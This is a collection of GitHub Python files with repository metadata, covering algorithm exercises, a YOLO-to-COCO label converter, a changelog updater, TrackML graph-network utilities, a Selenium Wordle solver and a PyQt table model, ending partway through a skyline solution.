+{"seq_id":"33845679837","text":"class Solution(object):\n    def findKthLargest(self, nums, k):\n        \"\"\"\n        :type nums: List[int]\n        :type k: int\n        :rtype: int\n        \"\"\"\n        import heapq\n        num_heap = nums[:k]\n        heapq.heapify(num_heap)\n        for n in nums[k:]:\n            if num_heap[0] < n:\n                heapq.heappop(num_heap)\n                heapq.heappush(num_heap, n)\n\n        return num_heap[0]\n\n\nif __name__ == \"__main__\":\n    nums = [3, 2, 1, 5, 6, 4]\n    k = 4\n    print(Solution().findKthLargest(nums, k))\n","repo_name":"simplynaive/LeetCode","sub_path":"215. Kth Largest Element in an Array.py","file_name":"215. Kth Largest Element in an Array.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24601858161","text":"\"\"\"\nhttps://blog.csdn.net/qq_39686950/article/details/119153685?spm=1001.2101.3001.6650.12&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-12.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-12.no_search_link&utm_relevant_index=18\n\"\"\"\nimport os\nimport json\nimport cv2\nimport random\nimport time\nfrom PIL import Image\nfrom tqdm import tqdm\n\n\nif __name__ == \"__main__\":\n    coco_format_save_path = 'E:\\\\pycharm-projects\\\\dataset\\\\DSMhand_smoke3\\\\coco\\\\annotations\\\\'  # 要生成的标准coco格式标签所在文件夹\n    yolo_format_classes_path = 'E:\\\\pycharm-projects\\\\dataset\\\\DSMhand_smoke3\\\\yolov5\\\\class_name.txt'  # 类别文件，一行一个类\n    yolo_format_annotation_path = 'E:\\\\pycharm-projects\\\\dataset\\\\DSMhand_smoke3\\\\yolov5\\\\labels\\\\val\\\\'  # yolo格式标签所在文件夹\n    img_pathDir = 'E:\\\\pycharm-projects\\\\dataset\\\\DSMhand_smoke3\\\\yolov5\\\\images\\\\val\\\\'  # 图片所在文件夹\n\n    with open(yolo_format_classes_path, 'r') as fr:  # 打开并读取类别文件\n        lines1 = fr.readlines()\n    # print(lines1)\n    categories = []  # 存储类别的列表\n    for j, label in enumerate(lines1):\n        label = label.strip()\n        categories.append({'id': j + 1, 'name': label, 'supercategory': 'None'})  # 将类别信息添加到categories中\n    # print(categories)\n\n    write_json_context = dict()  # 写入.json文件的大字典\n    write_json_context['info'] = {'description': '', 'url': '', 'version': '', 'year': 2022, 'contributor': '',\n                                  'date_created': '2022-1-5'}\n    write_json_context['licenses'] = [{'id': 1, 'name': None, 'url': None}]\n    write_json_context['categories'] = categories\n    write_json_context['images'] = []\n    write_json_context['annotations'] = []\n\n    # 接下来的代码主要添加'images'和'annotations'的key值\n    imageFileList = os.listdir(img_pathDir)  # 遍历该文件夹下的所有文件，并将所有文件名添加到列表中\n    for i, imageFile in enumerate(tqdm(imageFileList)):\n        imagePath = os.path.join(img_pathDir, imageFile)  # 获取图片的绝对路径\n        image = Image.open(imagePath)  # 读取图片，然后获取图片的宽和高\n        W, H = image.size\n\n        img_context = {}  # 使用一个字典存储该图片信息\n        # img_name=os.path.basename(imagePath)                                       #返回path最后的文件名。如果path以/或\\结尾，那么就会返回空值\n        img_context['file_name'] = imageFile\n        img_context['height'] = H\n        img_context['width'] = W\n        img_context['date_captured'] = '2022-1-5'\n        img_context['id'] = i  # 该图片的id\n        img_context['license'] = 1\n        img_context['color_url'] = ''\n        img_context['flickr_url'] = ''\n        write_json_context['images'].append(img_context)  # 将该图片信息添加到'image'列表中\n\n        txtFile = imageFile.split(\".\")[0] + '.txt'  # 获取该图片获取的txt文件\n        with open(os.path.join(yolo_format_annotation_path, txtFile), 'r') as fr:\n            lines = fr.readlines()  # 读取txt文件的每一行数据，lines2是一个列表，包含了一个图片的所有标注信息\n        for j, line in enumerate(lines):\n            bbox_dict = {}  # 将每一个bounding box信息存储在该字典中\n            # line = line.strip().split()\n            # print(line.strip().split(' '))\n\n            class_id, x, y, w, h = line.strip().split(' ')  # 获取每一个标注框的详细信息\n            class_id, x, y, w, h = int(class_id), float(x), float(y), float(w), float(h)  # 将字符串类型转为可计算的int和float类型\n\n            xmin = (x - w / 2) * W  # 坐标转换\n            ymin = (y - h / 2) * H\n            xmax = (x + w / 2) * W\n            ymax = (y + h / 2) * H\n            w = w * W\n            h = h * H\n\n            bbox_dict['id'] = i * 10000 + j  # bounding box的坐标信息\n            bbox_dict['image_id'] = i\n            bbox_dict['category_id'] = class_id + 1  # 注意目标类别要加一\n            bbox_dict['iscrowd'] = 0\n            height, width = abs(ymax - ymin), abs(xmax - xmin)\n            bbox_dict['area'] = height * width\n            bbox_dict['bbox'] = [xmin, ymin, w, h]\n            bbox_dict['segmentation'] = [[xmin, ymin, xmax, ymin, xmax, ymax, xmin, ymax]]\n            write_json_context['annotations'].append(bbox_dict)  # 将每一个由字典存储的bounding box信息添加到'annotations'列表中\n\n    name = os.path.join(coco_format_save_path, \"val\" + '.json')\n    with open(name, 'w') as fw:  # 将字典信息写入.json文件中\n        json.dump(write_json_context, fw, indent=2)","repo_name":"CPFelix/nanodet","sub_path":"tools/yolov5_to_coco.py","file_name":"yolov5_to_coco.py","file_ext":"py","file_size_in_byte":4775,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"}
+{"seq_id":"28801865277","text":"import sys\n\nn=int(input())\nif n < 2:\n  print('No')\nelif n == 2:\n  print('Yes')\nelif n % 2 == 0:\n  print('No')\nelse:\n  i=3\n  # √nで割れなければnでも割れないため√nまでの数字で割り切れないかをチェックする\n  while i * i <= n:\n    if n % i == 0:\n      print('No')\n      sys.exit()\n    i+=1\n  print('Yes')\n","repo_name":"Satjopg/atcoder","sub_path":"algo/012_primality_test.py","file_name":"012_primality_test.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"4121462467","text":"#!/usr/bin/env python3\nimport os\nimport re\nimport sys\nimport yaml\nimport fnmatch\nimport logging\nfrom datetime import datetime\n\n\ndef read_module(root = os.curdir):\n    with open(os.path.join(root, 'ci.yml')) as fin:\n        ci = yaml.safe_load(fin)\n\n    return [\n        module for module in ci['extends']['parameters']['Artifacts'] if module['name'] != 'azure-resourcemanager-samples'\n    ]\n\ndef get_version(module: dict, version_file: str):\n    module_name = '{}:{}'.format(module['groupId'], module['name'])\n    with open(version_file) as fin:\n        for line in fin.readlines():\n            line = line.strip()\n            if line and not line.startswith('#'):\n                name, _, version = line.split(';')\n                if name == module_name:\n                    return version\n\n    raise KeyError('Cannot found version of {} in {}'.format(module_name, version_file))\n\ndef removeEmptyEntry(changelogContent: str):\n    previous_entry_exists = False\n    previous_entry_line = None\n    left = changelogContent\n    for line in left.split('\\n'):\n        line = line.strip()\n        if not line:\n            continue\n        if not line.startswith('### '):\n            previous_entry_exists = True\n        else:\n            if not previous_entry_exists and previous_entry_line:\n                left = re.sub(previous_entry_line + '\\s*', '', left)\n            previous_entry_exists = False\n            previous_entry_line = line\n    # last line\n    if not previous_entry_exists and previous_entry_line:\n        left = re.sub('\\n{0,1}' + previous_entry_line + '\\s*', '', left)\n    return left\n\ndef main():\n    basedir = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), '..')\n    os.chdir(basedir)\n\n    version_file = '../../eng/versioning/version_client.txt'\n    version_pattern = '\\n## (\\d+\\.\\d+\\.\\d+(?:-[\\w\\d\\.]+)?) \\((.*?)\\)'\n    date = datetime.date(datetime.now())\n\n    for module in read_module():\n        filename = os.path.join(module['name'], 'CHANGELOG.md')\n\n        with open(filename) as fin:\n            changelog = fin.read()\n\n        first_version = re.search(version_pattern, changelog)\n        if not first_version:\n            logging.error('Cannot read version from {}'.format(filename))\n            continue\n\n        left = changelog[first_version.end():]\n        second_version = re.search(version_pattern, left)\n        if not second_version:\n            current_changelog = left if left.strip() else '\\n\\n- Migrated from previous sdk\\n'\n        else:\n            left = left[:second_version.start()]\n            left = removeEmptyEntry(left)\n            if not re.search('\\n### ', left):\n                current_changelog = '\\n\\n### Other Changes\\n\\n#### Dependency Updates\\n\\n- Updated core dependency from resources.\\n'\n            else:\n                current_changelog = left\n\n        version: str = first_version.group().replace(\n            first_version.group(2), str(date)).replace(\n                first_version.group(1), get_version(module, version_file))\n\n        new_changelog = changelog[:first_version.start()] + version + current_changelog\n        if second_version:\n            new_changelog += changelog[first_version.end() + second_version.start():]\n\n        with open(filename, 'w') as fout:\n            fout.write(new_changelog)\n\nif __name__ == \"__main__\":\n    logging.basicConfig(format = '%(asctime)s %(levelname)s %(message)s')\n    main()\n","repo_name":"Azure/azure-sdk-for-java","sub_path":"sdk/resourcemanager/tools/changelog.py","file_name":"changelog.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":2081,"dataset":"github-code","pt":"21"}
+{"seq_id":"42963623225","text":"i = input()\nc = 0\nlista = []\nlista2 = []\nh = 0\nwhile i != \"fim\":\n    lista.append(i)\n    i = input()\nwhile c < len(lista):\n    g = lista[c]\n    if g[0] == \"a\":\n        lista2.append(g)\n        c += 1\n    else:\n        c += 1\nwhile h < len(lista2):\n    print(lista2[h])\n    h += 1","repo_name":"gabriellaec/desoft-analise-exercicios","sub_path":"backup/user_400/ch46_2019_03_19_19_53_38_144235.py","file_name":"ch46_2019_03_19_19_53_38_144235.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35247705236","text":"def dato_en_agenda(dato,agenda):\n    if es_nombre(dato):\n        if dato in agenda.keys():\n            return True\n        else:\n            return False\n    elif es_numero(dato):\n        if dato in agenda.values():\n            return True\n        else:\n            return False\n    return None\n\ndef dar_nombre(numero,agenda):\n    for clave,valor in agenda.items():\n        if valor == numero:\n            return clave\n    \n\ndef es_nombre(entrada):\n    if entrada[0].isalpha():\n        return True\n    return False\n\ndef es_numero(entrada): # +34 691 27 08 67\n    # Internacional\n    if entrada[0] == \"+\" and len(entrada.split())> 1:\n        new_entrada = entrada.replace(\" \",\"\")\n        if new_entrada[1:-1].isnumeric():\n            lista_split = entrada.split()\n            if len(lista_split[0]) > 1 and len(lista_split[0]) <= 5:\n                return True\n    # España\n    entrada = entrada.replace(\" \",\"\")\n\n    if entrada.isnumeric() and len(entrada) == 9:\n        return True\n    # No valido\n    return None\n\ndef filtra_x(dato,agenda):\n    diccionario = dict()\n    lista = list()\n    for clave in agenda.keys():\n        if dato in clave:\n            diccionario = {clave : agenda[clave]}\n            lista.append(diccionario)\n    return lista\n\n            \n\n\nif __name__==\"__main__\":\n    agenda_telefonica = dict()\n    while True:\n        entrada = input('Introduce un numero de telefono un nombre o un comando: ')\n        if entrada.lower() == 'adios':\n            break\n        elif entrada.lower() == 'listado':\n            if len(agenda_telefonica) < 1:\n                print(\"Aun no hay datos existentes\")\n            else:\n                agenda_ordenada = sorted(agenda_telefonica.items())\n                print(agenda_ordenada)\n        elif entrada.lower()[0:6] == 'filtra':\n            entrada = entrada.split()\n            if len(filtra_x(entrada[1], agenda_telefonica)) >= 1:\n                print(filtra_x(entrada[1], agenda_telefonica))\n            else:\n                print(\"Ningun contacto\")\n        elif es_nombre(entrada):\n            if dato_en_agenda(entrada,agenda_telefonica):\n                print(\"El numero de telefono de\",entrada,'es',agenda_telefonica[entrada])\n            elif not dato_en_agenda(entrada,agenda_telefonica):\n                numero_telefono = input(f'Introduce el numero de telefono para {entrada}: ')\n                if es_numero(numero_telefono):\n                    if dato_en_agenda(numero_telefono,agenda_telefonica):\n                        print('Ese numero ya existe en la agenda')\n                    elif not dato_en_agenda(numero_telefono,agenda_telefonica):\n                        agenda_telefonica[entrada] = numero_telefono\n                else:\n                    print('Numero de telefono no valido')\n            \n        elif es_numero(entrada):\n            if dato_en_agenda(entrada,agenda_telefonica):\n                print(\"El nombre dado al telefono\",entrada,'es',dar_nombre(entrada,agenda_telefonica))\n            elif not dato_en_agenda(entrada,agenda_telefonica):\n                nombre_telefono = input(f'Introduce el nombre para el numero {entrada}:')\n                if es_nombre(nombre_telefono):\n                    if dato_en_agenda(nombre_telefono,agenda_telefonica):\n                        print('Ese numero ya existe en la agenda')\n                    elif not dato_en_agenda(nombre_telefono,agenda_telefonica):\n                        agenda_telefonica[nombre_telefono] = entrada\n                else:\n                    print('Numero de telefono no valido')\n            \n        else:\n            print(\"Entrada no valida\")","repo_name":"GonzaloPulido/ProgramacionCarpeta","sub_path":"Python/Relacion 5/Relacion 5_3/ej15.py","file_name":"ej15.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72705494132","text":"import numpy as np\n\nimport torch\nfrom torch.utils.data import Dataset\nimport dgl\n\n# TrackML Dataset and collate\n\ndef get_edge_indices(edges):\n    edge_pairs = []\n    for i, neighbors in enumerate(edges):\n        for e_idx in neighbors:\n            edge_pairs.append([i,e_idx])\n    return edge_pairs\n\ndef get_true_edge_values(pred_edge_idx, true_edges):\n    values = [0] * len(pred_edge_idx)\n    for i, (src, dst) in enumerate(pred_edge_idx):\n        if dst in true_edges[src]:\n            values[i] = 1\n    return values\n\nclass TrackML_Dataset(Dataset):\n    def __init__(self, samples):\n        self.samples = samples\n\n    def __getitem__(self, index):\n        s = self.samples[index]\n        \n        hits = s['hits']\n        xyz  = hits['xyz']\n        emb  = hits['emb']\n        pid  = torch.FloatTensor(hits['particle_id'])\n        weight  = torch.FloatTensor(hits['weight'])\n        hits = torch.FloatTensor(np.concatenate((xyz, emb), axis=1))\n        \n\n        graphs = s['graphs']\n        pred_edges = graphs['pred']\n        loss_edges = graphs['loss']\n        true_edges = graphs['true']\n    \n        pred_edge_idx = get_edge_indices(pred_edges)\n        true_edge_idx = get_edge_indices(loss_edges)\n        true_edge_values = get_true_edge_values(true_edge_idx,true_edges)\n\n        # Build inference graph\n        g_input = dgl.DGLGraph()\n        g_input.add_nodes(len(hits))\n        src, dst = tuple(zip(*pred_edge_idx))\n        g_input.add_edges(src, dst)\n        g_input.ndata['feat'] = hits\n        g_input.ndata['pid'] = pid\n        g_input.ndata['weight'] = weight\n\n        # Build ground truth graph\n        g_true = dgl.DGLGraph()\n        g_true.add_nodes(len(hits))\n        src, dst = tuple(zip(*true_edge_idx))\n        g_true.add_edges(src, dst)\n        g_true.edata['truth'] = torch.FloatTensor(true_edge_values)\n        \n        g_input.set_n_initializer(dgl.init.zero_initializer)\n        g_true.set_n_initializer(dgl.init.zero_initializer)\n        g_input.set_e_initializer(dgl.init.zero_initializer)\n        g_true.set_e_initializer(dgl.init.zero_initializer)\n        \n        return g_input, g_true\n    \n    def __len__(self):\n        return len(self.samples)\n    \ndef trackml_collate(sample):\n    g_input = [s[0] for s in sample]\n    g_input = dgl.batch(g_input)\n\n    g_true = [s[1] for s in sample]\n    g_true = dgl.batch(g_true)\n\n    return g_input, g_true\n\n\n\n\n\"\"\"\nTrackML scoring metric (by Sabrina Amrouche, David Rousseau, Moritz Kiehn, Ilija Vukotic)\n\"\"\"\n\nimport pandas\n\ndef _analyze_tracks(truth, submission):\n    particles_nhits = truth['particle_id'].value_counts(sort=False)\n    total_weight = truth['weight'].sum()\n    event = pandas.merge(truth[['hit_id', 'particle_id', 'weight']],\n                         submission[['hit_id', 'track_id']],\n                         on=['hit_id'], how='left', validate='one_to_one')\n    event.drop('hit_id', axis=1, inplace=True)\n    event.sort_values(by=['track_id', 'particle_id'], inplace=True)\n\n\n    tracks = []\n    rec_track_id = -1\n    rec_nhits = 0\n    cur_particle_id = -1\n    cur_nhits = 0\n    cur_weight = 0\n    maj_particle_id = -1\n    maj_nhits = 0\n    maj_weight = 0\n\n    for hit in event.itertuples(index=False):\n        if (rec_track_id != -1) and (rec_track_id != hit.track_id):\n            if maj_nhits < cur_nhits:\n                maj_particle_id = cur_particle_id\n                maj_nhits = cur_nhits\n                maj_weight = cur_weight\n            tracks.append((rec_track_id, rec_nhits, maj_particle_id,\n                particles_nhits[maj_particle_id], maj_nhits,\n                maj_weight / total_weight))\n\n        if rec_track_id != hit.track_id:\n            rec_track_id = hit.track_id\n            rec_nhits = 1\n            cur_particle_id = hit.particle_id\n            cur_nhits = 1\n            cur_weight = hit.weight\n            maj_particle_id = -1\n            maj_nhits = 0\n            maj_weights = 0\n            continue\n\n        rec_nhits += 1\n\n        if cur_particle_id != hit.particle_id:\n            if maj_nhits < cur_nhits:\n                maj_particle_id = cur_particle_id\n                maj_nhits = cur_nhits\n                maj_weight = cur_weight\n            cur_particle_id = hit.particle_id\n            cur_nhits = 1\n            cur_weight = hit.weight\n        else:\n            cur_nhits += 1\n            cur_weight += hit.weight\n\n    if maj_nhits < cur_nhits:\n        maj_particle_id = cur_particle_id\n        maj_nhits = cur_nhits\n        maj_weight = cur_weight\n    tracks.append((rec_track_id, rec_nhits, maj_particle_id,\n        particles_nhits[maj_particle_id], maj_nhits, maj_weight / total_weight))\n\n    cols = ['track_id', 'nhits',\n            'major_particle_id', 'major_particle_nhits',\n            'major_nhits', 'major_weight']\n    return pandas.DataFrame.from_records(tracks, columns=cols)\n\ndef score_event(truth, submission):\n    tracks = _analyze_tracks(truth, submission)\n    purity_rec = np.true_divide(tracks['major_nhits'], tracks['nhits'])\n    purity_maj = np.true_divide(tracks['major_nhits'], tracks['major_particle_nhits'])\n    good_track = (0.5 < purity_rec) & (0.5 < purity_maj)\n    return tracks['major_weight'][good_track].sum()","repo_name":"xkuang/KDD-2019-Hands-on","sub_path":"2_clustering/gnn_utils.py","file_name":"gnn_utils.py","file_ext":"py","file_size_in_byte":5181,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"23054201632","text":"import random\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nimport time\n\n\n# TODO: KEEP TRACK OF SCORE (CSV FILE?? date, final_guess, total score (n/5)\n# TODO: WHEN EVALUATING LETTERS, SEE IF ITS ALREADY IN A CATEGORY.. WILL HELP WITH GUESSING.\n# TODO: QUIT DRIVER IF RUN OUT OF GUESS WORDS\n# TODO: QUIT DRIVER IF COULD NOT GUESS WORD\n\n\nclass WordleDriver:\n\n    def __init__(self):\n        self.service = Service(ChromeDriverManager().install())\n        chrome_options = webdriver.ChromeOptions()\n        chrome_options.add_argument(\"--headless\")\n        self.driver = webdriver.Chrome(service=self.service, options=chrome_options)\n        self.url = 'https://www.nytimes.com/games/wordle/index.html'\n        self.driver.get(self.url)\n        self.game_app = self.expand_shadow_element(self.driver.find_element(By.TAG_NAME, \"game-app\"))\n        self.game_rows = self.game_app.find_elements(By.TAG_NAME, \"game-row\")\n        time.sleep(2)\n        self.close_instructions()\n\n    def close_instructions(self):\n        root2 = self.expand_shadow_element(self.game_app.find_element(By.TAG_NAME, \"game-modal\"))\n        close_icon = root2.find_element(By.CSS_SELECTOR, 'div.close-icon')\n        close_icon.click()\n\n    def expand_shadow_element(self, element):\n        shadow_root = self.driver.execute_script('return arguments[0].shadowRoot', element)\n        return shadow_root\n\n    def get_keyboard(self):\n        keyboard = self.game_app.find_element(By.TAG_NAME, \"game-keyboard\")\n        keyboard_shadow = self.expand_shadow_element(keyboard)\n        letters = keyboard_shadow.find_elements(By.TAG_NAME, 'button')\n\n        return letters\n\n    def get_tiles(self, game_row):\n        game_row_shadow = self.expand_shadow_element(game_row)\n        tile_elements = game_row_shadow.find_elements(By.TAG_NAME, \"game-tile\")\n        tiles = []\n\n        for tile in tile_elements:\n            tiles.append(self.expand_shadow_element(tile))\n\n        return tiles\n\n\nclass WordleSolver(WordleDriver):\n\n    def __init__(self, five_letter_words: list):\n        super().__init__()\n        self.common_five_letter_words = [\n            'FRAME',\n            'GRAZE',\n            'PAINT',\n            'GOURD',\n            'SWING',\n            'AUDIO',\n            'ARISE',\n            'WINDY'\n        ]\n        self.five_letter_words = five_letter_words\n        self.correct_word = [\"_\", \"_\", \"_\", \"_\", \"_\"]\n        self.letters_absent = []\n        self.letters_present = {}\n        self.guesses = []\n        self.i_row = 0\n\n    def solve(self):\n        guess = \"_____\"\n\n        while self.i_row < len(self.game_rows) and guess is not None:\n            print(f\"Guess # {self.i_row + 1}\")\n            print(f\"Length of valid five letter words: {len(self.five_letter_words)}\")\n            print(f\"Letters absent: {', '.join(self.letters_absent)}\")\n            print(f\"Letters present: {', '.join(self.letters_present.keys())}\")\n            print(f\"Valid words: {', '.join(self.five_letter_words)}\")\n            guess = self.new_guess()\n            print(f\"Guess word: {guess}\")\n            self.input_guess(guess)\n            print(\"\")\n\n            if \"_\" not in self.correct_word:\n                print(f\"You won!\\nCorrect word: {''.join(self.correct_word)}\")\n                self.driver.quit()\n                break\n        self.driver.quit()\n\n    def new_guess(self):\n        if len(self.guesses) == 0:\n            guess = random.choice(self.common_five_letter_words)\n\n        else:\n            try:\n                guess = random.choice(self.five_letter_words)\n            except IndexError:\n                print(f\"Looks like you've run out guesses. \\nLast guessed word: {self.guesses[-1]}\")\n                print(f\"Correct word structure: {''.join(self.correct_word)}\")\n                guess = None\n\n        return guess\n\n    def input_guess(self, guess):\n        keyboard = self.get_keyboard()\n\n        for letter in guess:\n            for key in keyboard:\n                if key.text == letter:\n                    key.click()\n\n        for key in keyboard:\n            if key.text == \"ENTER\":\n                key.click()\n                time.sleep(2.5)\n                break\n\n        if self.word_is_valid():\n            self.i_row = self.i_row + 1\n            self.guesses.append(guess)\n            self.evaluate_guess()\n            self.five_letter_words.remove(guess)\n            self.remove_invalid_words()\n\n        else:\n            self.five_letter_words.remove(guess)\n            print(\"Invalid Guess Word\")\n            for key in keyboard:\n                # Find the backspace\n                if key.text == \"\":\n                    for _ in list(range(5)):\n                        key.click()\n                        time.sleep(0.2)\n                    break\n\n    def word_is_valid(self):\n        valid = True\n        tiles = self.get_tiles(self.game_rows[self.i_row])\n\n        for tile in tiles:\n            tile_div = tile.find_element(By.TAG_NAME, \"div\")\n\n            if tile_div.get_attribute(\"data-state\") == \"tbd\":\n                valid = False\n            else:\n                continue\n        return valid\n\n    def evaluate_guess(self):\n        tiles = self.get_tiles(self.game_rows[self.i_row - 1])\n\n        # Get the evaluations from the tiles\n        for index, tile in enumerate(tiles):\n            tile_div = tile.find_element(By.TAG_NAME, \"div\")\n            evaluation = tile_div.get_attribute(\"data-state\")\n            letter = tile_div.text.upper()\n\n            if evaluation == \"absent\":\n                self.letters_absent.append(letter)\n\n            elif evaluation == \"present\":\n                self.letters_present[letter] = index\n\n            elif evaluation == \"correct\":\n                self.correct_word[index] = letter\n\n        print(f\"Correct word: {''.join(self.correct_word)}\")\n\n    def find_invalid_words(self):\n        words_to_remove = []\n\n        for word in self.five_letter_words:\n            # Check if matches the correct word\n            for i in list(range(5)):\n                if self.correct_word[i] == \"_\":\n                    continue\n                elif self.correct_word[i] == word[i]:\n                    continue\n                else:\n                    words_to_remove.append(word)\n\n            if word in words_to_remove:\n                continue\n\n            # Check if letter is truly absent and in word:\n            for letter in self.letters_absent:\n\n                if letter in word:\n                    if letter in self.correct_word:\n                        if self.correct_word.index(letter) == word.index(letter):\n                            continue\n                        else:\n                            words_to_remove.append(word)\n                    elif letter in self.letters_present.keys():\n                        continue\n                    else:\n                        words_to_remove.append(word)\n                else:\n                    continue\n\n            if word in words_to_remove:\n                continue\n\n            # Check if letter present is in word\n            for letter in self.letters_present.keys():\n                if letter in word:\n                    if self.letters_present[letter] == word.index(letter):\n                        words_to_remove.append(word)\n                else:\n                    words_to_remove.append(word)\n\n            if word in words_to_remove:\n                continue\n\n        return words_to_remove\n\n    def remove_invalid_words(self):\n\n        words_to_remove = self.find_invalid_words()\n\n        for word in words_to_remove:\n            try:\n                self.five_letter_words.remove(word)\n            except ValueError:\n                continue\n\n\nif __name__ == \"__main__\":\n    from english_words import english_words_lower_set\n\n    five_letter_word = []\n    correct_word = {}\n    incorrect_placement = {}\n\n    special_char = \"*-'[{]}\\|!^&()%$#,.?/><\"\n    # Only use 5 letter words\n    for words in english_words_lower_set:\n        if len(words) == 5:\n            for char in special_char:\n                if char in words:\n                    break\n                elif char == special_char[-1]:\n                    five_letter_word.append(words.upper())\n        else:\n            continue\n    five_letter_word.append(\"LOWLY\")\n    five_letter_word.append(\"FEWER\")\n\n    wordle = WordleSolver(five_letter_word)\n    wordle.solve()\n","repo_name":"canasmh/WordleSolver","sub_path":"wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":8500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2105565531","text":"# Copyright (c) 2011-2013, ImageCat Inc.\n#\n# This program is free software: you can redistribute it and/or modify \n# it under the terms of the GNU Affero General Public License as published by \n# the Free Software Foundation, either version 3 of the License, or \n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful, \n# but WITHOUT ANY WARRANTY; without even the implied warranty of \n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License \n# along with this program.  If not, see <http://www.gnu.org/licenses/>.\r\n#\n\"\"\"\r\ndialog for editing mapping scheme branches\r\n\"\"\"\r\nfrom PyQt4.QtCore import Qt, QVariant, QString, QAbstractTableModel, QModelIndex\r\nfrom ui.helper.common import build_attribute_tooltip\r\n\r\nclass MSLeavesTableModel(QAbstractTableModel):\r\n    \"\"\"\r\n    table model supporting visualization of node in mapping scheme tree\r\n    \"\"\"\r\n    def __init__(self, values, headers, formats, parser, valid_codes):\r\n        \"\"\" constructor \"\"\"\r\n        super(MSLeavesTableModel, self).__init__()\r\n\r\n        self.headers = headers\n        self.formats= formats\r\n        self.parser=parser\r\n        self.valid_codes=valid_codes\n        self.values = values\n        self.do_sort(sortIndex=0)                \r\n    \r\n    def columnCount(self, parent):\r\n        \"\"\" only three columns exist. always return 3 \"\"\"\r\n        return len(self.headers)\r\n\r\n    def rowCount(self, parent):\r\n        \"\"\" number of rows same as number of siblings \"\"\"\r\n        return len(self.values)            \r\n\r\n    def headerData(self, section, orientation, role):\r\n        \"\"\" return data to diaply for header row \"\"\"        \r\n        if role == Qt.DisplayRole:   \r\n            if orientation == Qt.Horizontal:\r\n                return QString(self.headers[section][0])\r\n            else:\r\n                # no vertical header\r\n                return QVariant()\r\n        elif role == Qt.ToolTipRole:            \r\n            return QString(self.headers[section][1])\r\n        else:            \r\n            return QVariant()\r\n    \r\n    def data(self, index, role):\r\n        \"\"\" return data to be displayed in a cell \"\"\"\n        row, col = index.row(), index.column()                \r\n        value = self.values[row][col]        \n        if role == Qt.DisplayRole:\r\n            if value is not None:\n                return QString(self.formats[col] % value)\n            else:\n                return QVariant(\"\")\n        elif role == Qt.ToolTipRole:\r\n            # construct data for display in tooltip            \r\n            if (index.column() == 0):                            \r\n                if value is not None:\r\n                    return build_attribute_tooltip(self.valid_codes, self.parser.parse(value))\r\n            else:\r\n                return QVariant(\"\")\r\n        elif role == Qt.UserRole:            \n            return index.internalPointer()\n        else:\r\n            return QVariant()\r\n    \n    def index(self, row, column, parent):\n        \"\"\" provide index to data given a cell \"\"\"\n        try:\n            node = self.values[row][len(self.headers)]\n            return self.createIndex(row, column, node)\n        except:\n            return QModelIndex()        \n    \r\n    def flags(self, index):\r\n        \"\"\" cell condition flag \"\"\"\r\n        # NOTE: \r\n        #   ItemIsEditable also required data() and setData() function\r\n        return Qt.ItemIsEnabled | Qt.ItemIsSelectable\r\n\r\n    def sort(self, ncol, order):\r\n        \"\"\" sort table \"\"\"\r\n        if ncol < 0 or ncol > len(self.headers):\r\n            return\r\n        self.layoutAboutToBeChanged.emit()            \r\n        self.do_sort(sortIndex=ncol, reverse_sort=order==Qt.DescendingOrder)\r\n        self.layoutChanged.emit()\r\n\n    # internal helper methods\n    ############################### \r\n    def do_sort(self, sortIndex = 0, reverse_sort=False):\n        def sort_key(row):\n            return row[sortIndex]        \r\n        self.values.sort(key=sort_key, reverse=reverse_sort)\r\n    ","repo_name":"ImageCatInc/sidd","sub_path":"ui/helper/ms_leaves_table.py","file_name":"ms_leaves_table.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3684178584","text":"class Solution:\n    def getSkyline(self, buildings: List[List[int]]) -> List[List[int]]:\n        \n        res = []\n        \n        # Sort buildings by their x-coordinates of the left edges\n        buildings.sort(key=lambda b: b[0])\n        \n        active_buildings = []   # sorted by x-coordinate of the right edge\n        max_height = 0 # current maximum height (for active buildings)\n        \n        def updateMax(bs):  # update max height\n            maxH = 0\n            for b in bs:\n                if b[2] > maxH:\n                    maxH = b[2]\n            return maxH\n        \n        for building in buildings:\n            \n            i, n = 0, len(active_buildings)\n            \n            while active_buildings and active_buildings[0][1] < building[0]: # end before building?\n                \n                ending_building = active_buildings.pop(0)\n                \n                new_max = updateMax(active_buildings)\n                \n                if new_max != max_height:   # update max_height and add the new point\n                    max_height = new_max\n                    res.append([ending_building[1], max_height, 1]) # 1 for ending\n            \n            if max_height < building[2]:    # new building higher\n                max_height = building[2]\n                res.append([building[0], building[2], 0])   # add beginning (0 for beginning)\n            \n            # insert building into active_buildings (preserving the order)\n            i, n = 0, len(active_buildings)\n            while i < n and active_buildings[i][1] < building[1]:\n                i += 1\n            active_buildings.insert(i, building)\n        \n        while active_buildings:\n            ending_building = active_buildings.pop(0)\n\n            new_max = updateMax(active_buildings)\n            if new_max != max_height:   # update max_height and add the new point\n                max_height = 